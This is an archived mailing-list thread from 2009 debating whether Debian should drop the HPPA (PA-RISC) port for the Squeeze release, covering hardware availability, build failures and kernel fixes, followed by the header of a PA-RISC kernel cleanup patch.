X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jun 2009 09:31:23 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 09 11:31:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDxfr-00086Z-KL
	for glpp-linux-parisc@gmane.org; Tue, 09 Jun 2009 11:31:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759445AbZFIJbN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jun 2009 05:31:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759512AbZFIJbM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Jun 2009 05:31:12 -0400
Original-Received: from cheddar.halon.org.uk ([195.177.253.180]:44213 "EHLO
	mx0.halon.org.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1759383AbZFIJbK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jun 2009 05:31:10 -0400
Original-Received: from mail.aminocom.com ([193.132.141.190] helo=cheshire.halon.org.uk)
	by mx0.halon.org.uk with esmtpsa (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <maulkin@halon.org.uk>)
	id 1MDxfc-0001ju-B2; Tue, 09 Jun 2009 10:31:04 +0100
Original-Received: from maulkin by cheshire.halon.org.uk with local (Exim 4.69)
	(envelope-from <maulkin@halon.org.uk>)
	id 1MDxeV-00067M-0u; Tue, 09 Jun 2009 10:29:55 +0100
Content-Disposition: inline
In-Reply-To: <7d01f9f00906081644s5d3e873ct887bf4fd777d55ec@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1729 gmane.linux.debian.ports.hppa:5734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1729>


--envbJBWh7q8WU6mo
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 09, 2009 at 01:44:27AM +0200, Thibaut VARENE wrote:
> > Ish. We still have the issue that you can't actually buy HPPAs any more,
>=20
> When did "being a marketed platform" become a criteria for inclusion?
> Is Debian the new Ubuntu? :-P
>=20

Well, back in 2005...
http://lists.debian.org/debian-devel-announce/2005/03/msg00012.html

However, I didn't mean it as a 'you must be able to get these from HP'.
You can't find them on ebay (for the three days I looked), and this
would indicate that it's unlikely that there's going to be sufficient
new porters to make this work.

> Failing this, could we please have a detailed rationale for the
> decision?

It'll be in the d-d-a post, or linked from the post :)

Hope this helps,
Neil
--=20
< linuxpoet> rails is a perversion
< mc> someone who use pgsql as calculator shouldnt talk of perversion.

--envbJBWh7q8WU6mo
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iQIcBAEBCAAGBQJKLiuNAAoJEH9VuxKkD4YuWrEP/jJ5pcG8GCXIGb345+cTT1Mx
bSgv3EBfKQimPrgN/XD2qLDy0sIZDecbSoMHB1HLTDvwq8zXUIgoV+PSuJVdKrMl
QHshUGLCx56YhvzQcs96y2VXuRYUaNBDZ7DWkUR3q3xEZxcYpVtJJc7xObS/qh+C
VlGNrYSbHgfICvLxT6kEn2k11C6cPwW18nKhV7BKb8Zvu4kNKisyLBvVK8rbtsf9
uUwuPOLAY67AZMA4l+oIk7XbLRDI58lYRY8SpqnqfPxuulrVcfokcEPnX3IStAzM
1TkkbP99OWmOHVX4LQlRjdPEa5CqWginm70nfHPRLlsC1KY7ikpumfoua8J5g/7R
HOUmeySmXoVgqvLMAOiPDLuSYxpysni05FwbOYb51w5603NdkcLKOPyhbJoCuzIg
7bliBjb6xnamKexDcHtmUX0Uc4s3xiWzFIa3vZzez045xDr4Iu/96EpJx7jJASiD
B4QiPHmfg4L9E5GJCAI8+C0B7jIFOkDEDS9Mbw09N21kQKR2glZiNd4LM1S7DSA5
40cmTSJywzARiUes1hnHT5j3QLgBWY8NLI/oVTxOvEY3EY8oCfYsOFVwWZ1mBv94
bkxzvvY5GnZariWngeTODY0HxuXyGxx3SbpwJGYi3WLsUhIxxiZvat1l8HResuaE
HkttfDLsK0kxw13VBoqc
=Q5Ak
-----END PGP SIGNATURE-----

--envbJBWh7q8WU6mo--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Tue, 9 Jun 2009 12:38:27 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20090609103827.GA6839@alpha.franken.de>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <20090608212606.GC19894@halon.org.uk> <7d01f9f00906081644s5d3e873ct887bf4fd777d55ec@mail.gmail.com> <20090609092954.GD19894@halon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1244547894 2430 80.91.229.12 (9 Jun 2009 11:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jun 2009 11:44:54 +0000 (UTC)
Cc: Thibaut VARENE <varenet@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Neil McGovern <neilm@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 09 13:44:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDzkx-0001h0-IL
	for glpp-linux-parisc@gmane.org; Tue, 09 Jun 2009 13:44:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757889AbZFILoj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jun 2009 07:44:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757619AbZFILoj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Jun 2009 07:44:39 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:38825 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754865AbZFILoj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jun 2009 07:44:39 -0400
X-Greylist: delayed 3963 seconds by postgrey-1.27 at vger.kernel.org; Tue, 09 Jun 2009 07:44:38 EDT
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1MDyiz-00076M-00; Tue, 09 Jun 2009 12:38:37 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id CC676C35BB; Tue,  9 Jun 2009 12:38:27 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090609092954.GD19894@halon.org.uk>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1730 gmane.linux.debian.ports.hppa:5736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1730>

On Tue, Jun 09, 2009 at 10:29:54AM +0100, Neil McGovern wrote:
> However, I didn't mean it as a 'you must be able to get these from HP'.
> You can't find them on ebay (for the three days I looked), and this
> would indicate that it's unlikely that there's going to be sufficient
> new porters to make this work.

your ebay is broken.

A simple search for C3750 (an quite fast parisc workstation) on ebay.de
gives me four hits for complete systems. And there are other workstations
and servers on ebay.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aioanei Rares <schaiba@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Tue, 09 Jun 2009 19:47:04 +0300
Lines: 36
Approved: news@gmane.org
Message-ID: <4A2E9208.6090602@gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <20090608212606.GC19894@halon.org.uk> <7d01f9f00906081644s5d3e873ct887bf4fd777d55ec@mail.gmail.com> <20090609092954.GD19894@halon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244566042 1056 80.91.229.12 (9 Jun 2009 16:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jun 2009 16:47:22 +0000 (UTC)
Cc: Thibaut VARENE <varenet@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Neil McGovern <neilm@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 09 18:47:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1ME4Tj-00076j-16
	for glpp-linux-parisc@gmane.org; Tue, 09 Jun 2009 18:47:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752585AbZFIQrL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jun 2009 12:47:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753866AbZFIQrK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Jun 2009 12:47:10 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.156]:21368 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752585AbZFIQrJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jun 2009 12:47:09 -0400
Original-Received: by fg-out-1718.google.com with SMTP id d23so1076988fga.17
        for <linux-parisc@vger.kernel.org>; Tue, 09 Jun 2009 09:47:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :content-type:content-transfer-encoding;
        bh=p02ZZwQ+NurIPS92ni9bB9j7OkM+maxnoM6Qt2kUcyc=;
        b=g3HLEBapoEoFTukjU3qx8jKXO6OxI2qbk2APsODRe+Sg5Shi3b/6esYN9TNJSySixK
         tX2zpS3OrnevMt8D29Rq/2HfYBRovwPvNRdT5btBCJBMkS6ey5ibTKxn9uGDKUufTveU
         B4dTcqrQCxJfzA7LvB1OOUZPk3rG211rgdhis=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        b=WjiNEE0EDczPHramo8c7SqZXsjCEB76OTGEoFhUhvAZ1po1pRAe72+0jK0xlV7XJt0
         5QNeQ0VXaABukDLhaWV8lrPObPhDCDwCc+MAJAGV+BbuVJGP1W1YPZktRxH+L5buVPwB
         O82l8F/6niZulUqUJFeu4H9rHGUv5fP9hvDKQ=
Original-Received: by 10.86.98.10 with SMTP id v10mr286759fgb.36.1244566030606;
        Tue, 09 Jun 2009 09:47:10 -0700 (PDT)
Original-Received: from ?192.168.0.100? ([188.24.37.66])
        by mx.google.com with ESMTPS id 12sm1451184fgg.5.2009.06.09.09.47.09
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 09 Jun 2009 09:47:09 -0700 (PDT)
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <20090609092954.GD19894@halon.org.uk>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1731 gmane.linux.debian.ports.hppa:5737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1731>

Neil McGovern wrote:
> On Tue, Jun 09, 2009 at 01:44:27AM +0200, Thibaut VARENE wrote:
>   
>>> Ish. We still have the issue that you can't actually buy HPPAs any more,
>>>       
>> When did "being a marketed platform" become a criteria for inclusion?
>> Is Debian the new Ubuntu? :-P
>>
>>     
>
> Well, back in 2005...
> http://lists.debian.org/debian-devel-announce/2005/03/msg00012.html
>
> However, I didn't mean it as a 'you must be able to get these from HP'.
> You can't find them on ebay (for the three days I looked), and this
> would indicate that it's unlikely that there's going to be sufficient
> new porters to make this work.
>
>   

www.gall.de and some more others
>> Failing this, could we please have a detailed rationale for the
>> decision?
>>     
>
> It'll be in the d-d-a post, or linked from the post :)
>
> Hope this helps,
> Neil
>   

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Tue, 9 Jun 2009 13:06:54 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20090609170655.521564EDA@hiauly1.hia.nrc.ca>
References: <4A2E9208.6090602@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244567229 4976 80.91.229.12 (9 Jun 2009 17:07:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jun 2009 17:07:09 +0000 (UTC)
Cc: neilm@debian.org, varenet@debian.org, grundler@parisc-linux.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: schaiba@gmail.com (Aioanei Rares)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 09 19:07:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1ME4ms-000690-Rz
	for glpp-linux-parisc@gmane.org; Tue, 09 Jun 2009 19:07:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753561AbZFIRGy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jun 2009 13:06:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755144AbZFIRGy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Jun 2009 13:06:54 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2063 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753561AbZFIRGy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jun 2009 13:06:54 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 521564EDA; Tue,  9 Jun 2009 13:06:54 -0400 (EDT)
In-Reply-To: <4A2E9208.6090602@gmail.com> from "Aioanei Rares" at Jun 9, 2009 07:47:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1732 gmane.linux.debian.ports.hppa:5738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1732>

> > Well, back in 2005...
> > http://lists.debian.org/debian-devel-announce/2005/03/msg00012.html
> >
> > However, I didn't mean it as a 'you must be able to get these from HP'.
> > You can't find them on ebay (for the three days I looked), and this
> > would indicate that it's unlikely that there's going to be sufficient
> > new porters to make this work.
> >
> >   
> 
> www.gall.de and some more others

And in the US,
http://www.cypress-tech.com/
http://www.more-computers.com/

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Tue, 09 Jun 2009 21:11:34 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <4A2EB3E6.9080302@gmx.de>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <20090608212606.GC19894@halon.org.uk> <7d01f9f00906081644s5d3e873ct887bf4fd777d55ec@mail.gmail.com> <slrnh2scj5.720.nospam@sshway.ssh.pusling.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244574714 31397 80.91.229.12 (9 Jun 2009 19:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jun 2009 19:11:54 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: Sune Vuorela <nospam@vuorela.dk>, 
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Neil McGovern <maulkin@halon.org.uk>, 
 linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Jun 09 21:11:51 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1ME6jf-0005WL-OT
	for debian-hppa@m.gmane.org; Tue, 09 Jun 2009 21:11:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 58C9513A47B5; Tue,  9 Jun 2009 19:11:51 +0000 (UTC)
Old-Return-Path: <deller@gmx.de>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-9.9 required=4.0 tests=FOURLA,IMPRONONCABLE_2,
	LDOSUBSCRIBER,LDO_WHITELIST,MURPHY_DRUGS_REL8 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id DE3EF13A4718
	for <lists-debian-hppa@liszt.debian.org>; Tue,  9 Jun 2009 19:11:45 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-5.88 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, IMPRONONCABLE_2=1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id SFMhCleWkpZ4 for <lists-debian-hppa@liszt.debian.org>;
	Tue,  9 Jun 2009 19:11:41 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -7
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by liszt.debian.org (Postfix) with SMTP id 2D05613A47F8
	for <debian-hppa@lists.debian.org>; Tue,  9 Jun 2009 19:11:41 +0000 (UTC)
Original-Received: (qmail invoked by alias); 09 Jun 2009 19:11:37 -0000
Original-Received: from mnhm-590e03d2.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.3.210]
  by mail.gmx.net (mp057) with SMTP; 09 Jun 2009 21:11:37 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/twpJ+nHftvix2I7u2suZZzotbpLFzmMpjs2ThnX
	VwZDs4qwtpQWME
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <slrnh2scj5.720.nospam@sshway.ssh.pusling.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <7fLDdxNTb3M.A.OIC.3PrLKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6737
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  9 Jun 2009 19:11:51 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5739 gmane.linux.ports.parisc:1733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1733>

Hi Sune, all,

Sune Vuorela wrote:
> On 2009-06-08, Thibaut VARENE <varenet@debian.org> wrote:
>> Failing this, could we please have a detailed rationale for the
>> decision?
> 
> I'm not in any way involved with the decision, but I support it.
> 
> I have in the past had some issues with some of the packages I
> (co)-maintain in debian on hppa, and I have in the past spent much more
> time on those packages on hppa than its userbase deserve. And I'm not a
> hppa porter.

Yes, there have been issues.

> I personally don't mind that we in debian supports many architectures,
> but it should mainly be the porters who are responsible for fixing
> architecture weirdnesses, not the package maintainers.

Sure.
 
> I have really missed this from the hppa porters. It might be that hppa
> porters don't care for Qt on hppa. It might be that hppa porters don't
> care for KDE on hppa. 

I think that's not fair.
I'm a big KDE and Qt fan and when you reported the issues, I stepped in.

You had problems with the locking functions in Qt. I did sent you
fixes for that to fix it in the qt code base.
This was one of the threads:  http://www.mail-archive.com/debian-hppa@lists.debian.org/msg05888.html
I have to admit, that I didn't checked if you integrated them yet, but since I didn't heard back, I expected you did.

Then, as a next step we stepped up to fix those Qt locking functions
at the place where they really needed to be fixed in the end, which is the gcc as atomic locking builtins.
Even this was integrated upstream:
http://permalink.gmane.org/gmane.comp.gcc.patches/166978

> But. As long as hppa is a release architecture in
> Debian, we have to have it working. And I have expected more help than I
> actually got.
> 
> There has in the past 6-8 month been random segfaults of
> anything from make over moc to dpkg on the hppa buildds making it hard
> to get stuff built. It doesn't seem like anyone have actually worked on
> this, except the buildd admin giving the packages back and next time
> they succeeded.

Sometimes finding kernel bugs isn't easy.
I wouldn't be astonished, if this patch fixes those issues:
http://patchwork.kernel.org/patch/28458/
It still is on discussion on the hppa-kernel-list.

> It seems that the buildd's have issues with actually being on line, and
> it can take 1-3 days for the buildd admins to actually notice this.
> 
> Up to the lenny release there was the "you can crash a hppa machine by
> building ruby"-issue, where the suggested solution was "Let's not ship
> ruby and instead let anyone with a account crash our boxes".

The kernel crash was finally fixed by:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=c61c25eb02757ecf697015ef4ae3675c5e114e2e
 
> And in general, I have the impression that "random unexplainable
> failures" is just too common for hppa to actually be able to support it
> in debian. And I also have the impression that the porters think that
> "random unexplainable failures" is fully acceptable.

No, it's not.
Again, kernel bugs are sometimes hard to find.
I still think that http://patchwork.kernel.org/patch/28458/ may fix a few.
The only outstanding bug I still know of is that we sometimes face uid/gid issues.
This still needs analysis.

All that said, personally I'm currently really happy about the hppa unstable port.
I'm regularly compiling some really big closed-source application on this platform
and gcc-3.4 and gij-4.4 are doing a really good thing. Furthermore, the already started
migration to NPTL (from linuxthreads) is great, from which I expect even better results.
For me hppa unstable is currently in such a good shape in which it hasn't been up to now.
So, dropping it now at _this_ _stage_ from unstable would be really sad after such a long 
(and imho sucessful) way.

Best regards,
Helge



From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/1] parisc: remove obsolete hw_interrupt_type
Date: Wed, 10 Jun 2009 12:56:04 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <200906101956.n5AJu4gQ009106@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1244663825 25695 80.91.229.12 (10 Jun 2009 19:57:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jun 2009 19:57:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	tglx@linutronix.de
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 10 21:57:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1METuo-0004mf-6n
	for glpp-linux-parisc@gmane.org; Wed, 10 Jun 2009 21:56:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761570AbZFJT42 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jun 2009 15:56:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761422AbZFJT41
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Jun 2009 15:56:27 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:53551 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759175AbZFJT40 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jun 2009 15:56:26 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n5AJu5IV031280
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 10 Jun 2009 12:56:06 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n5AJu4gQ009106;
	Wed, 10 Jun 2009 12:56:05 -0700
X-Spam-Status: No, hits=-3.502 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1734>

From: Thomas Gleixner <tglx@linutronix.de>

The defines and typedefs (hw_interrupt_type, no_irq_type, irq_desc_t) have
been kept around for migration reasons.  After more than two years it's
time to remove them finally.

This patch cleans up one of the remaining users.  When all such patches
hit mainline we can remove the defines and typedefs finally.

Impact: cleanup

Convert the last remaining users to struct irq_chip and remove the
define.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>

